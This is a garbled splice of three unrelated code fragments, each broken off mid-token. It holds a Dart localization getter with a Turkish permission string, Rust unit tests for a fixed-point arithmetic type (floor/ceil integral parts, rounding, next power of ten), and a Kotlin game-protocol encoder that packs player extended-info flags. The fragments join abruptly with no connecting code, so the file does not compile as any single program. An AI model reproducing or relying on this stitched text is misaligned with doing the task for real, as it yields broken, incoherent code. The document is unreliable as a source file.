  String get permission_status_allowed => 'İzin verildi';

  @override
  String get permissi


ed_ceil);
        },
        all {
            (FixedPoint::MIN, FixedPoint::MAX, FixedPoint::EPSILON.cneg()?, fp!(0));
        },
        fp64 {
            (fp!(9000000000.000000394), fp!(9000000001.000000397), fp!(9000000000.500000395), fp!(9000000000.500000396));
            (
                fp!(9000000000.000000001),
                fp!(-9000000000.000000006),
                fp!(-0.000000003),
                fp!(-0.000000002),
            );
            (fp!(7.123456789), fp!(7.123456788), fp!(7.123456788), fp!(7.123456789));
        },
        fp128 {
            (fp!(7.123456789123456789), fp!(7.123456789123456788), fp!(7.123456789123456788), fp!(7.123456789123456789));
        },
    };
    Ok(())
}

#[test]
fn integral() -> Result<()> {
    test_fixed_point! {
        case (a | FixedPoint, expected_floor | Layout, expected_ceil | Layout) => {
            assert_eq!(a.integral(Floor), expected_floor);
            assert_eq!(a.integral(Ceil), expected_ceil);
        },
        all {
            (FixedPoint::ZERO, 0, 0);
            (fp!(0.0001), 0, 1);
            (fp!(-0.0001), -1, 0);
            (fp!(2.0001), 2, 3);
            (fp!(-2.0001), -3, -2);
        },
    };
    Ok(())
}

#[test]
fn round_towards_zero_by() -> Result<()> {
    test_fixed_point! {
        case (x | FixedPoint, rounder | FixedPoint, expected | FixedPoint) => {
            assert_eq!(x.round_towards_zero_by(rounder), expected);
            assert_eq!(x.cneg()?.round_towards_zero_by(rounder), expected.cneg()?);
        },
        all {
            (fp!(1234.56789), fp!(100), fp!(1200));
            (fp!(1234.56789), fp!(10), fp!(1230));
            (fp!(1234.56789), fp!(1), fp!(1234));
            (fp!(1234.56789), fp!(0.1), fp!(1234.5));
            (fp!(1234.56789), fp!(0.01), fp!(1234.56));
            (fp!(1234.56789), fp!(0.001), fp!(1234.567));
            (fp!(1234.56789), fp!(0.0001), fp!(1234.5678));
            (fp!(1234.56789), fp!(0.00001), fp!(1234.56789));
        },
        fp128 {
            (fp!(1234.56789123456789), fp!(0.0000000000001), fp!(1234.5678912345678));
            (fp!(1234.56789123456789), fp!(0.00000000000001), fp!(1234.56789123456789));
        },
    };
    Ok(())
}

#[test]
#[allow(clippy::cognitive_complexity)]
fn next_power_of_ten() -> Result<()> {
    test_fixed_point! {
        case (x | FixedPoint, expected | FixedPoint) => {
            assert_eq!(x.next_power_of_ten()?, expected);
            assert_eq!(x.cneg()?.next_power_of_ten()?, expected.cneg()?);
        },
        all {
            (fp!(0.000000001), fp!(0.000000001));
            (fp!(0.000000002), fp!(0.00000001));
            (fp!(0.000000009), fp!(0.00000001));
            (fp!(0.0000001), fp!(0.0000001));
            (fp!(0.0000002), fp!(0.000001));
            (fp!(0.1), fp!(0.1));
            (fp!(0.100000001), fp!(1));
            (fp!(1), fp!(1));
            (fp!(2), fp!(10));
            (fp!(1234567), fp!(10000000));
            (fp


, blocks.facePathingEntity)
        outFlag = outFlag or pCached(buffer, clientFlag, MOVE_SPEED, blocks.moveSpeed)
        outFlag = outFlag or pCached(buffer, clientFlag, APPEARANCE, blocks.appearance)
        outFlag = outFlag or pOnDemand(buffer, clientFlag, HITS, blocks.hit, localIndex, observerIndex)
        // Old chat
        outFlag = outFlag or pCached(buffer, clientFlag, CHAT, blocks.chat)
        outFlag = outFlag or pCached(buffer, clientFlag, TEMP_MOVE_SPEED, blocks.temporaryMoveSpeed)
        outFlag = outFlag or pOnDemand(buffer, clientFlag, TINTING, blocks.tinting, localIndex, observerIndex)
        outFlag = outFlag or pCached(buffer, clientFlag, SAY, blocks.say)
        outFlag = outFlag or pCached(buffer, clientFlag, SEQUENCE, blocks.sequence)
        outFlag = outFlag or pCached(buffer, clientFlag, SPOTANIM, blocks.spotAnims)
        outFlag = outFlag or pCached(buffer, clientFlag, FACE_ANGLE, blocks.faceAngle)
        outFlag = outFlag or pCached(buffer, clientFlag, EXACT_MOVE, blocks.exactMove)

        if (outFlag != clientFlag) {
            val finalPos = buffer.writerIndex()
            buffer.writerIndex(flagIndex)
            buffer.p1(outFlag)
            if (outFlag and EXTENDED_SHORT != 0) {
                buffer.p1(outFlag shr 8)
            }
            if (outFlag and EXTENDED_MEDIUM != 0) {
                buffer.p1(outFlag shr 16)
            }
            buffer.writerIndex(finalPos)
        }
    }

    private fun <T : ExtendedInfo<T, E>, E : PrecomputedExtendedInfoEncoder<T>> pCached(
        buffer: JagByteBuf,
        clientFlag: Int,
        blockFlag: Int,
        block: T,
    ): Int {
        if (clientFlag and blockFlag == 0) return 0
        val pos = buffer.writerIndex()
        return try {
            pCachedData(buffer, block)
            blockFlag
        } catch (e: Exception) {
            buffer.writerIndex(pos)
            logger.error(e) {
                "Unable to put cached mask data for $block"
            }
            0
        }
    }

    private fun <T : ExtendedInfo<T, E>, E : OnDemandExtendedInfoEncoder<T>> pOnDemand(
        buffer: JagByteBuf,
        clientFlag: Int,
        blockFlag: Int,
        block: T,
        localIndex: Int,
        observerIndex: Int,
    ): Int {
        if (clientFlag and blockFlag == 0) return 0
        val pos = buffer.writerIndex()
        return try {
            pOnDemandData(buffer, localIndex, block, observerIndex)
            blockFlag
        } catch (e: Exception) {
            buffer.writerIndex(pos)
            logger.error(e) {
                "Unable to put on demand mask data for $block"
            }
            0
        }
    }

    @Suppress("unused")
    private companion object {
        private val logger = InlineLogger()
        private const val EXTENDED_SHORT = 0x4
        private const val EXTENDED_MEDIUM = 0x100

        private const val SEQUENCE = 0x1
        private const val HITS = 0x2
        private const val FACE_PATHINGENTITY = 0x8
        private const val APPEARANCE = 0x10
        private const val CHAT_OLD = 0x20
        private const val FACE_ANGLE = 0x40
        private const val SAY = 0x80
        private const val MOVE_SPEED = 0x200
        private const val TEMP_MOVE_SPEED = 0x800
        private const val TINTING = 0x1000
        private const val EXACT_MOVE = 0x4000
        private const val CHAT = 0x8000
        private const val SPOTANIM = 0x10000

        // Name extras are part of appearance nowadays, and thus will not be used on their own
        private const val NAME_EXTR